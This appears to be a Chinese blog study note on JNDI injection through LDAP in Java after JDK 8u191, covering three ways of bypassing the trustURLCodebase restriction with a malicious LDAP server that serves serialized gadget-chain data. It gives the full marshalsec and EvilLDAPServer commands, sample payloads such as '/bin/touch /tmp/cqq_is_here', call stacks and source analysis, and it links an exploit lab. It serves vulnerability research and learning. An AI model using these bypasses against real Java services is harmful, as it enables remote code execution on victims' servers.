《JDK 8u191之後的JNDI注入(LDAP)》學習

參考:
8u191之後的JNDI注入(LDAP)

JNDI注入,即某代碼中存在JDNI的string可控的情況,可構造惡意RMI或者LDAP服務端,導致遠程任意類被加載,造成任意代碼執行。

JNDI注入中RMI和LDAP與JDK版本的關係,參考這張圖:
在這裏插入圖片描述
來源:
https://xz.aliyun.com/t/6633

RMI + JNDI Reference利用方式:

JDK 6u132, JDK 7u122, JDK 8u113
com.sun.jndi.rmi.object.trustURLCodebase
com.sun.jndi.cosnaming.object.trustURLCodebase 的默認值變爲false
即默認不允許從遠程的Codebase加載Reference工廠類

LDAP + JDNI Reference利用方式:

JDK 6u211,7u201, 8u191, 11.0.1之後
com.sun.jndi.ldap.object.trustURLCodebase 屬性的默認值被調整爲false
(CVE-2018-3149)
目前的方式是搭建一個自定義的惡意LDAP服務端,並設置遠程的<codebase_url#classname>,最後指定LDAP服務監聽的端口號1099:

java marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer https://raw.githubusercontent.com/shadowsock5/notes/master/#Exploit 1099

然後執行客戶端代碼,即完成漏洞利用。
在這裏插入圖片描述
從圖中可以看出JNDI客戶端中JDK版本對漏洞利用的影響。

這種利用方式的調用棧爲:

newInstance:387, Class (java.lang)
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)

於是這裏作者提出了一種繞過這種防禦機制的方法。

繞過JDK高版本限制的JNDI注入(LDAP)方法一

使用unboundid-ldapsdk-3.1.1.jar搭建惡意LDAP服務:
Windows:

javac -encoding GBK -g -cp "commons-collections-3.1.jar;unboundid-ldapsdk-3.1.1.jar" EvilLDAPServer.java 
java -cp ".;commons-collections-3.1.jar;unboundid-ldapsdk-3.1.1.jar" EvilLDAPServer 192.168.85.1 10388 "mkdir test_by_shadowsock5"

Linux:

javac -encoding GBK -g -cp "commons-collections-3.1.jar:unboundid-ldapsdk-3.1.1.jar" EvilLDAPServer.java

然後執行JDNI客戶端:

javac -encoding GBK -g VulnerableClient.java
java -cp "commons-collections-3.1.jar:." -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory -Djava.naming.provider.url=ldap://192.168.85.1:10388/dc=cqq,dc=com VulnerableClient o=anything

JNDI客戶端使用了1.8.0_201,仍然可以利用成功!說明此方法有效。
這裏的原理是

EvilLDAPServer.java自己實現一個惡意LDAP服務,直接操作"javaSerializedData"屬性。
在這裏插入圖片描述

這個技術方案相當於有一方在ObjectInputStream.readObject(),另一方在ObjectOutputStream.writeObject(),後者是攻擊者可控的,前者沒有缺省過濾器。此時只受限於受害者一側CLASSPATH中是否存在Gadget鏈的依賴庫,對JDK沒有版本要求。

LDAP特殊服務端writeObject:
在這裏插入圖片描述
LDAP客戶端readObject:

在這裏插入圖片描述
調用棧:

readObject0:1573, ObjectInputStream (java.io) [3]
readObject:431, ObjectInputStream (java.io)
readObject:144, LazyMap (org.apache.commons.collections.map)
invoke:-1, GeneratedMethodAccessor118 (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io) [2]
readObject:431, ObjectInputStream (java.io)
readObject:1211, Hashtable (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io) [1]
readObject:431, ObjectInputStream (java.io)
deserializeObject:531, Obj (com.sun.jndi.ldap)
decodeObject:239, Obj (com.sun.jndi.ldap)
c_lookup:1051, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)

繞過JDK高版本限制的JNDI注入(LDAP)方法二

其實JDK自帶的LDAP服務就可以。
先是開啓一個LDAP服務:

java -jar C:\Users\Administrator\Downloads\ldap-server.jar -a -b 192.168.85.1 -p 10389 jndi.ldif

然後:

java -cp "commons-collections-3.1.jar:." -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory -Djava.naming.provider.url=ldap://192.168.85.1:10389/o=anything,dc=cqq,dc=com EvilLDAPServer5 cn=any "/bin/touch /tmp/cqq_is_here"

最後開啓客戶端:

java -cp "commons-collections-3.1.jar:." -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory -Djava.naming.provider.url=ldap://192.168.85.1:10389/o=anything,dc=cqq,dc=com VulnerableClient cn=any

即可完成攻擊。
在這裏插入圖片描述

繞過JDK高版本限制的JNDI注入(LDAP)方法三

執行步驟與之前一致:

javac -encoding GBK -g -cp "commons-collections-3.1.jar" EvilLDAPServer6.java
java -cp "commons-collections-3.1.jar:." -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory -Djava.naming.provider.url=ldap://192.168.85.1:10389/o=anything,dc=cqq,dc=com EvilLDAPServer6 cn=any "/bin/touch /tmp/cqq_is_here_by_EvilLDAPServer6"

然後啓動客戶端:

java -cp "commons-collections-3.1.jar:." -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory -Djava.naming.provider.url=ldap://192.168.85.1:10389/o=anything,dc=cqq,dc=com VulnerableClient cn=any

在這裏插入圖片描述

總結傳統LDAP與繞過高版本JDK的LDAP的JNDI注入(javaSerializedData)的區別

兩種利用方式前期的調用棧是一致是:

c_lookup:1051, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)

jdk1.8.0\jre\lib\rt.jar!\com\sun\jndi\ldap\LdapCtx#c_lookup(Name var1, Continuation var2)中調用:

Obj.decodeObject((Attributes)var4);

跟進Obj.decodeObject()方法:
在這裏插入圖片描述

傳統的LDAP的JNDI注入方式下

LDAP服務端下並沒有設置
javax.naming.directory.BasicAttributes對象的javaSerializedData屬性,
於是進入最後一個else邏輯:
返回decodeReference()的結果
賦值給var3
然後調用:

javax.naming.spi.DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4);

然後調用:

javax.naming.spi.NamingManager.getObjectFactoryFromReference(Reference ref, String factoryName)

跟進,

clas = helper.loadClass(factoryName, codebase);    // 載入從codebase中的指定的類
clas.newInstance();                                // 調用該類的構造器,執行惡意代碼

繞過的LDAP的JNDI注入方式下

由於特製的LDAP服務端通過ObjectOutputStream#writeObject()
寫入了javaSerializedData屬性,
於是在關鍵步驟下進入了第一個if邏輯中(如果有這個javaSerializedData屬性,則會對其進行反序列化),
執行了

deserializeObject()

然後各種ObjectInputStream#readObject()
進行反序列化操作,這裏利用CommonsCollections7鏈完成了RCE。

高版本JDK對LDAP的限制方式

com\sun\naming\internal\VersionHelper12#loadClass(String className, String codebase)

在這裏插入圖片描述
會對系統屬性com.sun.jndi.ldap.object.trustURLCodebase的值進行判斷,這裏將其值設置爲false,所以在loadClass的時候會返回null,導致無法加載遠程codebase。
在這裏插入圖片描述
而進入loadClass所在的位置是:
在這裏插入圖片描述
而我們的繞過這個loadClass檢查的利用方式是在這裏

deserializeObject()

F7就完成了的。
在這裏插入圖片描述
當然,與傳統LDAP的JNDI注入利用方式不同(加載遠程codebase的class,調用靜態代碼塊或者構造器),這裏繞過方式的利用原理由於其實就是反序列化,所以利用條件是:受影響的服務端(JNDI客戶端)存在gadget鏈。

環境:
https://github.com/shadowsock5/JDNI-Bypass-JDK-By-LDAP

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章